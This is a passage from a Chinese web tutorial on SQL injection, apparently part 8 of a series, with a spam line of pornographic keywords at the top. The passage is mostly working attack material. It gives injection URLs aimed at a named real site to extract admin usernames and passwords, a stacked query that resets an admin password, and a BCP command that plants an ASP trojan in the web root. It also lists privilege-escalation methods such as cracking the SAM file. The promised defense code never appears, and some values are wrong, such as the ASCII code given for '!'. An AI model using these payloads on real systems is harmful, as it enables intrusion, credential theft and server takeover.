不卡AV在线|网页在线观看无码高清|亚洲国产亚洲国产|国产伦精品一区二区三区免费视频

學(xué)習(xí)啦>學(xué)習(xí)電腦>電腦安全>網(wǎng)絡(luò)安全知識>

SQL注入漏洞的攻防策略(8)

時間: 若木632 分享

  猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,

  user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進(jìn)行判斷

  HTTP://www.163.com/news.asp?id=xx and (select count(字段名) from TestDB.dbo.admin)>0

  “select count(字段名) from 表名”

  語句得到表的行數(shù),所以若字段名存在,則news.asp工作正常,否則異常。如此循環(huán),直到猜到兩個

  字段的名稱。

  讀取法:基本的實現(xiàn)方法是

  HTTP://www.163.com/news.asp?id=xx and (select top 1 col_name(object_id('admin'),1) from

  TestDB.dbo.sysobjects)>0 。

  select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知

  表名的第一個字段名,當(dāng)與整數(shù)進(jìn)行比較,顯然news.asp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。

  把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

  d 猜解用戶名與密碼

  猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:

  ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L度,然

  后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from

  TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username

  為用戶名字段的名稱,admin為表的名稱),若x為某一值i且news.asp運行正常時,則i就是第一個用

  戶名的長度。如:當(dāng)輸入

  HTTP://www.163.com/news.asp?id=xx and (select top 1 len(username) from TestDB.dbo.admin)=8時

  news.asp運行正常,則第一個用戶名的長度為8

  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,m,1)) from

  TestDB.dbo.admin)=n

  (m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是

  1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i

  且news.asp運行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。如:當(dāng)輸入

  HTTP://www.163.com/news.asp?id=xx and (select top 1 ascii(substring(username,3,1)) from

  TestDB.dbo.admin)=80時news.asp運行正常,則用戶名的第三位為P(P的ASCII為80);HTTP://www.163.co

  m/news.asp?id=xx and (select top 1 ascii(substring(username,9,1)) from TestDB.dbo.admin)=33

  時news.asp運行正常,則用戶名的第9位為!(!的ASCII為80);猜到第一個用戶名及密碼后,同理,可以猜

  出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)MD5等方式加密后的信息,還需要用專用工具

  進(jìn)行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。簡單法:猜用戶名用HTTP://www.163.com

  /news.asp?id=xx and (select top 1 flag from TestDB.dbo.admin where username>1) ,

  flag是admin表中的一個字段,username是用戶名字段,此時news.asp工作異常,但能得到Username的值

  。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

  猜用戶密碼:HTTP://www.163.com/news.asp?id=xx and (select top 1 flag from

  TestDB.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時news.asp工作

  異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到

  表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。

  HTTP://www.163.com/news.asp?id=xx;update TestDB.dbo.admin set pwd=' a0b923820dcc509a'

  where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)用

  同樣的方法當(dāng)然可把密碼改原來的值。

  2、利用表內(nèi)容導(dǎo)成文件功能

  SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張

  臨時表,然后在表中一行一行地輸入一個ASP木馬,然后用BCP命令導(dǎo)出形成ASP文件。

  命令行格式如下:

  bcp "select * from text..foo" queryout c:/inetpub/wwwroot/163.asp –c –S localhost –U sa

  –P foobar

  ('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個163.asp的木馬)

  3、利用工具,如NBSI給出的一些參考數(shù)據(jù)最重要的表名:

  select * from sysobjects

  sysobjects ncsysobjects

  sysindexes tsysindexes

  syscolumns

  systypes

  sysusers

  sysdatabases

  sysxlogins

  sysprocesses

  最重要的一些用戶名(默認(rèn)sql數(shù)據(jù)庫中存在著的)

  public

  dbo

  guest(一般禁止,或者沒權(quán)限)

  db_sercurityadmin

  ab_dlladmin

  一些默認(rèn)擴(kuò)展

  xp_regaddmultistring

  xp_regdeletekey

  xp_regdeletevalue

  xp_regenumkeys

  xp_regenumvalues

  xp_regread

  xp_regremovemultistring

  xp_regwrite

  xp_availablemedia 驅(qū)動器相關(guān)

  xp_dirtree 目錄

  xp_enumdsn ODBC連接

  xp_loginconfig 服務(wù)器安全模式信息

  xp_makecab 創(chuàng)建壓縮卷

  xp_ntsec_enumdomains domain信息

  xp_terminate_process 終端進(jìn)程,給出一個PID

  (三)、得到系統(tǒng)的管理員權(quán)限

  ASP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限

  的方法有很多種:

  上傳木馬,修改開機(jī)自動運行的.ini文件(它一重啟,便死定了);

  復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;

  下載SAM文件,破解并獲取OS的所有用戶名密碼;

  等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。

  那么我們怎么防注入呢?程序如下加入到asp或html或php或cgi里面都可以。經(jīng)過測試。加入如

  top.asp文件中開頭

75367